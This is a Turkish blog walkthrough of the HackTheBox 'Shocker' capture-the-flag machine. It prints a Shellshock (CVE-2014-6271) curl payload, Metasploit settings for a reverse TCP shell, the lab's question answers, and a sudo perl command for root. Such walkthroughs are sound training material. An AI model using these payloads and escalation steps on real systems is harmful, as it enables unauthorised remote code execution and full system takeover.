top of page

Hackthebox Shocker Writeup

ree

Bugün HackTheBox platformundaki Shocker adlı makineyi adım adım nasıl çözdüğümü anlatacağım. Bu makine, özellikle Shellshock zafiyetiyle tanınan sistemlerde nasıl erişim sağlanabileceğini ve ardından basit bir privilege escalation ile nasıl root olunabileceğini gösteriyor. Hadi başlayalım!


Öncelikle rustscan taraması yaptım


2 portun açık olduğunu gördüm nmaple versiyon taraması yaptım
2 portun açık olduğunu gördüm nmaple versiyon taraması yaptım
1 How many TCP ports are listening on Shocker?
1 How many TCP ports are listening on Shocker?

cevap : 2


2 What is the name of the directory available on the webserver that is a standard name known for running scripts via the Common Gateway Interface?


Web servisine baktığımda index sayfası oldukça sadeydi. Bu yüzden dirbuster kullanarak dizin keşfine çıktım. Özellikle .cgi, .sh, .pl ve .py uzantılarına odaklandım. Ve bingo! /cgi-bin/user.sh dosyasını buldum.

İpucu: Makinenin adının “Shocker” olması da Shellshock zafiyetine gönderme gibi duruyordu.


cevap:cgi-bin


3 Optional question: The output from user.sh matches the output from what standard Linux command?


ree

user.sh sayfasına göz attığımda uptime komutu çıktısına benzediğini farkettim


cevap :uptime


4 What 2014 CVE ID describes a remote code execution vulnerability in Bash when invoked through Apache CGI?


Bu soruda, 2014 yılında keşfedilen ve Bash kabuğunda bulunan ünlü uzaktan kod çalıştırma zafiyetini soruyorlar. Apache’nin CGI modülü üzerinden çağrıldığında çevresel değişkenlerle sistemde komut çalıştırmaya olanak tanıyor.

Bu zafiyetin CVE kimliği ise:


cevap: CVE-2014–6271


5: What user is the webserver running as on Shocker?


Makineye Shellshock zafiyeti olup olmadığını test etmek için klasik bir payload denedim. Bunun için curl komutunu kullandım ve HTTP isteğine özel bir header ekledim


curl -H ‘User-Agent: () { :;}; echo; /usr/bin/id’ http://10.10.10.56/cgi-bin/user.sh


Burada yaptığım şey şu:User-Agent kısmına zafiyetli Bash’in anlayacağı şekilde bir komut enjekte ettim. () { :;}; kısmı aslında Bash’e sahte bir fonksiyon tanımı gibi gösteriliyor ama aslında devamında gelen komut doğrudan çalıştırılıyor. Ben test etmek için id komutunu verdim çünkü bu komut çalışırsa, Shellshock var demektir.

Komutu çalıştırdığımda şu çıktıyı aldım:

ree

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

kullanıcımız shelly yani bingo! Komut çalıştı, demek ki sistem Shellshock’a karşı savunmasız. Artık bu açıklıktan faydalanarak bir shell alabilirim.

Shellshock zafiyetini Metasploit Framework ile de test etmek istedim. Bunun için önce ilgili modülü kullandım:

use auxiliary(scanner/http/apache_mod_cgi_bash_env)Tarama sonucunda şu bilgiyi aldım:

[+] uid=1000(shelly) gid=1000(shelly) …

Bu çıktı, sistemin Shellshock’a karşı savunmasız olduğunu ve komutların başarıyla çalıştığını gösteriyor. Artık bir adım öteye geçip shell alabilirim dedim ve exploit modülüne geçtim:

use exploit/multi/http/apache_mod_cgi_bash_env_exec

set RHOST 10.10.10.56set TARGETURI /cgi-bin/user.shset LHOST 10.10.14.9set PAYLOAD linux/x86/shell_reverse_tcp

ve exploit’i çalıştırdım ve artık karşı sistemde shell erişimim vardı!


ree
user.sh ise gerçekten sadece uptime bilgisi döndürmek için yazılmış basit bir bash scriptiymiş ama içeriğine Shellshock payload’u enjekte edebildiğimiz için sistemi ele geçirebildik. Bu da bize zafiyetli yapıların ne kadar tehlikeli olabileceğini bir kez daha gösteriyor.
user.sh ise gerçekten sadece uptime bilgisi döndürmek için yazılmış basit bir bash scriptiymiş ama içeriğine Shellshock payload’u enjekte edebildiğimiz için sistemi ele geçirebildik. Bu da bize zafiyetli yapıların ne kadar tehlikeli olabileceğini bir kez daha gösteriyor.

user flağımız /home/shelly/user.txt içinde


8 Which binary can the shelly user can run as root on Shocker?


Yetki yükseltme aşamasında ilk işim, shelly kullanıcısının sudo ile neleri çalıştırabildiğini kontrol etmek oldu. Bunun için terminalde aşağıdaki komutu verdim:

sudo -l

Komutun çıktısında şunu gördüm:

Yani shelly kullanıcısı, şifre girmeden sudo ile /usr/bin/perl komutunu çalıştırabiliyor. Bu çok güzel bir fırsat çünkü bu sayede root yetkisiyle Perl çalıştırabiliyorum. Yani artık sistemde root yetkisine sahip bir shell almak elimde!
Yani shelly kullanıcısı, şifre girmeden sudo ile /usr/bin/perl komutunu çalıştırabiliyor. Bu çok güzel bir fırsat çünkü bu sayede root yetkisiyle Perl çalıştırabiliyorum. Yani artık sistemde root yetkisine sahip bir shell almak elimde!

Bu bilgiyi görünce aklıma direkt şu komut geldi:

sudo /usr/bin/perl -e ‘exec “/bin/sh”’

Bu komutu çalıştırdığımda root shell geldi, işlem tamam!  Sonrasında da direkt /root/root.txt dosyasını okuyarak root flag’ini aldım.

hocker, adından da anlaşılacağı gibi Shellshock zafiyeti üzerine kurulu bir makine. Ama asıl güzellik, root yetkisini NOPASSWD ile elde etmemizi sağlayan basit ama etkili bir sudo ayrıcalığında yatıyor.
hocker, adından da anlaşılacağı gibi Shellshock zafiyeti üzerine kurulu bir makine. Ama asıl güzellik, root yetkisini NOPASSWD ile elde etmemizi sağlayan basit ama etkili bir sudo ayrıcalığında yatıyor.

Eğer CTF dünyasında yeniysen ve hem uzaktan kod çalıştırma (RCE) hem de privilege escalation pratikleri yapmak istiyorsan, Shocker mükemmel bir başlangıç olabilir.

Her makine bir şey öğretir. Bir sonraki yazıda görüşmek üzere!

bottom of page